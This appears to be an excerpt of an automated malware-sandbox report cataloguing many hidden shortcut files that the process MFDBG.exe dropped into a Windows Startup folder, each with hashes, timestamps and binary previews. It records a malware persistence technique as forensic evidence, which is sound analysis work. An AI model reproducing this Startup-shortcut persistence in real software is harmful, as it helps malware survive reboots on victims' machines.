Preview:	L..................F...."...]W%.{...\|#5.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1edb8076cac443c4af1f48e57952d094.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934406737016918
Encrypted:	false
SSDEEP:	24:8GhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MU0R6rMhpBoUBxdRd1nYyg
MD5:	3BE842B60212C40302AF8F91F4CA658A
SHA1:	3AA69FDDABD6B2246793CA04353CEBACB2D6FF0C
SHA-256:	B6EE1E46333A0323459AB5A0A93F874E76CB65CC193F72C85EE788C3E7AA1581
SHA-512:	C073021BFE5FB5B6FB445BA29E6849EDE84E878A534EF34FA579580C9D6250DB74A0A6BDFFAE654BFE5F5B1D3B7A1C66BAD78AE0E251332ED03F7F7EC7420390
Malicious:	false
Preview:	L..................F...."...]W%.{....^.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1efac788f56341d1934f1516410db009.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932600183000752
Encrypted:	false
SSDEEP:	24:8xhBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8B30R6rMhpBoUBxdRd1nYyg
MD5:	0C9020DDEDB78CEA1CBCF219C0650E3A
SHA1:	B8EF8EEC613F0FAA9AF14608C9CDC7E9F6748181
SHA-256:	0B7FFB76B3C00054D63B1FD8BB06C6F4351C881C69EA9505D213B067F4B79C44
SHA-512:	057D7BAABF99C131E30A5A27673AF562EC6233CF32BDC3CAF8B882E3A3699E14F5F0DE70D09E4BEB586658CE7163A9D39FBC3DB24F1B00629EBCBB6218D3F59A
Malicious:	false
Preview:	L..................F...."...]W%.{....c1.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f150a96fa4d41b391576883dbfaaffc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930360332303906
Encrypted:	false
SSDEEP:	24:87hBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/00R6rMhpBoUBxdRd1nYyg
MD5:	273BBA7C16FE797C16D0BA70DAB436EE
SHA1:	2649A6A3AF7FDA4013BDD2A5A49A826106E65480
SHA-256:	0ABC9ACDB0569D46A54EC4B1E73D416FB839EB4B83F72F908FBFF026B52B4191
SHA-512:	50A4CCFCF0315590462FFAB5D9CCD95E147F967E31031B622356BBD57AA6D6146FF80BC296FB94331F2D18C7FB069D5E551AD1552453D5446255AAA582830DC6
Malicious:	false
Preview:	L..................F...."...]W%.{....1..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f44f01aa87e4488a8a85d8089889007.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935771530057277
Encrypted:	false
SSDEEP:	24:8+hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8UKI0R6rMhpBoUBxdRd1nYyg
MD5:	8CBB469DB0811F7B5DA068587A1875B4
SHA1:	A8077C47A9E02AFAE4CEE752A87617989AA34C9F
SHA-256:	0A49D8C0E56F355FC71956E6949FE70C51FFE9308ACD7EFCB74246F78E8821D6
SHA-512:	3CE6BD00E2EB4A5970769DE69051347158309FBDEFD2C127203C4A72F3A47B575D8648ECEC537FE178A5696ADEAB3C00FC84BAFDBBB00D709CD2AA825043393A
Malicious:	false
Preview:	L..................F...."...]W%.{.....X.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1fb0c10e627e4107985af6e8697040aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514901
Encrypted:	false
SSDEEP:	24:8ghBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8y8c0R6rMhpBoUBxdRd1nYyg
MD5:	A9F79102DDECE9C1ECF261378C94A8D1
SHA1:	62A09CB8F0BE52D6338A4461539CB5E4AAD9FCB7
SHA-256:	4096A741ECB011181A17C0B509FD972048AC54442901D2E435F3B93CFCCB7D54
SHA-512:	AC20660C5D47A8BB8EC93420AD0046CB4DADC9D592C1D012B1B6B7DE44E4B89B60BCF383797CD2B1F0268A146FB259C22F5F32FBF1618C63967E16FEA69A2AF5
Malicious:	false
Preview:	L..................F...."...]W%.{...I...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1fed6e1bd23d40f39960af1386845023.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935956010214991
Encrypted:	false
SSDEEP:	24:8ehBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80KI0R6rMhpBoUBxdRd1nYyg
MD5:	3F26ED3274D0B4B8ACFC3CDFDB7913DD
SHA1:	41ED76FAFFE9630D23E5B0C25E80CE843E97F717
SHA-256:	B1E6D27ADE10BEE5398A3880DBF5EDDD946E8B73A4AC9EF986595873EE500FD5
SHA-512:	565FAFC1E427B7FAE4A057FCC682097A2BE3378E059E4A8DD0191F619C8F57ACF77EB1341C428A47C36FC0898623992B97A2447AC610C2112CBC2BBAA5D0D03B
Malicious:	false
Preview:	L..................F...."...]W%.{....Y[.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_205655dfd85e483aa2c533059911a7f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939404087816231
Encrypted:	false
SSDEEP:	24:8O9hBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ep0R6rMhpBoUBxdRd1nYyg
MD5:	37B8DAC6B1458AC8CC8EF7366CA5FA26
SHA1:	2155EF12E1E610524F0DADB1D7ADA79F92152D6D
SHA-256:	D66620EABCBDFB3D41B32771E48222371EC2D7818604EC20491F51F42A9C0082
SHA-512:	290C0764B3AC1E3A8C42A0B5F7BC6886B29ADFD15BAC7738D571EE72D5AF871F8ACC64DAE7909503EC1BBDB215E14A2DB78BCF54EA3F12974B71AF7ACAAA82DC
Malicious:	false
Preview:	L..................F...."...]W%.{...h.(.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2066b51c32ba4e61a8eed11a08a1c71f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932804071419171
Encrypted:	false
SSDEEP:	24:8bhBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fY0R6rMhpBoUBxdRd1nYyg
MD5:	F88CB85C8EBFF194DA674F05DCC64E7B
SHA1:	9DA5E481FE0F4185EA0EF54A4CDDCF2999D5D8BB
SHA-256:	11CB0401EFFAA21187D71CB141A8A21D542E7A19A1A0C1262793526A7D9E3571
SHA-512:	525415406427F84BC791A40455B3DD64F52113B6EDB66D652398649F7E4857704336EAFCAFBF7B1EBF6D3376839B25A17254B530A5D38537E273A459CFE9C5A9
Malicious:	false
Preview:	L..................F...."...]W%.{...:...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...:...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20aff243fc5146778babee5cb9e2e4a7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940447514721542
Encrypted:	false
SSDEEP:	24:8C9hBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8KL0R6rMhpBoUBxdRd1nYyg
MD5:	E10C5C1A9027301290CFCA7F2904909D
SHA1:	7168AD13193BC79208D5A083F5C0686DCC8EE8C4
SHA-256:	C7B807B7DA4D5D927209C6622A7E3D69EA7E47B95CD2418C8277D66EDE685E0D
SHA-512:	9B4DE57277E19C97036C98F4A1C589CA950F0B7F7873BB94F9ECC98EFA7C27EFF41E47ED86470E03F651EFA917D9EE589CBB46D4E6E26C021E94F46BC35EDB1B
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S/..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_210b3671a39542499bf3c5f2ae29b057.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9386675269540214
Encrypted:	false
SSDEEP:	24:8qHmhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QsgT0R6rMhpBoUBxdRd1nYyg
MD5:	D7A85215DDD3E77559757E1C73262061
SHA1:	DA3699DD7396711AB8488D0E8C0BBAC9C5F9480B
SHA-256:	5EB8A2DD9994309B97E68FBEF20C6302A503163CC701B49EED95BBDF2735C24A
SHA-512:	83D4FB205AA06702EB1BAA37E1421457FCD8CBFB8E57651ADCCEE28F2AEB498E2CDF7AC4D55BBFDFD89FD2C596751A780738B391D970B00F235EAC3799FCC052
Malicious:	false
Preview:	L..................F...."...]W%.{....~..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_21314e9d94f54121aecfe97137fc5ee6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94141591063575
Encrypted:	false
SSDEEP:	24:8hhBf/D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RXQ0R6rMhpBoUBxdRd1nYyg
MD5:	B440D1E7917392AB27BA69EEF7C22E3F
SHA1:	0473BE7C931244184AD4A922A8F27BCD6314F8EE
SHA-256:	F3B7AF48B914397EC6E65E9B3E223E5B4E9DE6B7B0CD60D5D4000F7CCD130A59
SHA-512:	866C4F35EF934B885EE2994370F81AFADE69E842F476144D7BF265A26CCA286D21093E6A3575F74CDB31F93EC4B91182262EA9EB8DD21E48945395C83E6AE1F6
Malicious:	false
Preview:	L..................F...."...]W%.{....O..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_213ea792838842dba8c55213144b108c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932065092968714
Encrypted:	false
SSDEEP:	24:8VhBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8F30R6rMhpBoUBxdRd1nYyg
MD5:	E202A968D6613230D68F2500C69A4E65
SHA1:	9ADFDE320CF742CA3F6D145B39FC8850A4294584
SHA-256:	C78327BA69BD2FE1C91D1A315235F0D1A2133405F4ADF97BF5CB50CB8C9D2B66
SHA-512:	B910065BA34E1998BB7E80FACD86BCDE49EECD5F3B2A228509D7C9B8A36AD0EAE770F6071C526D1C9C7A28B1478E3AA48D5C65353C8938C4EC272ED65F4E1FBC
Malicious:	false
Preview:	L..................F...."...]W%.{...&(6.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2172e70d8f8941b6a7ba3fd79c1cd6d7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938198743715571
Encrypted:	false
SSDEEP:	24:8RmhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RsU0R6rMhpBoUBxdRd1nYyg
MD5:	7BB7B7B5B2A370CF5C0FAC1ED1A5B5A4
SHA1:	622B7799B6B9B8C8E6C9581E7B6BF92DED3172BF
SHA-256:	2D69A40B2916EC31BC6A27184F879FF3911EC01584B841DADD26121220070FEE
SHA-512:	0D4AE7978659E65330D745B2B1119F5A7753799958F4246312EF74D1E6887733F52E66940585E9012469B14A474E1F00F3ED1A7886BD86C09695F0A29B076453
Malicious:	false
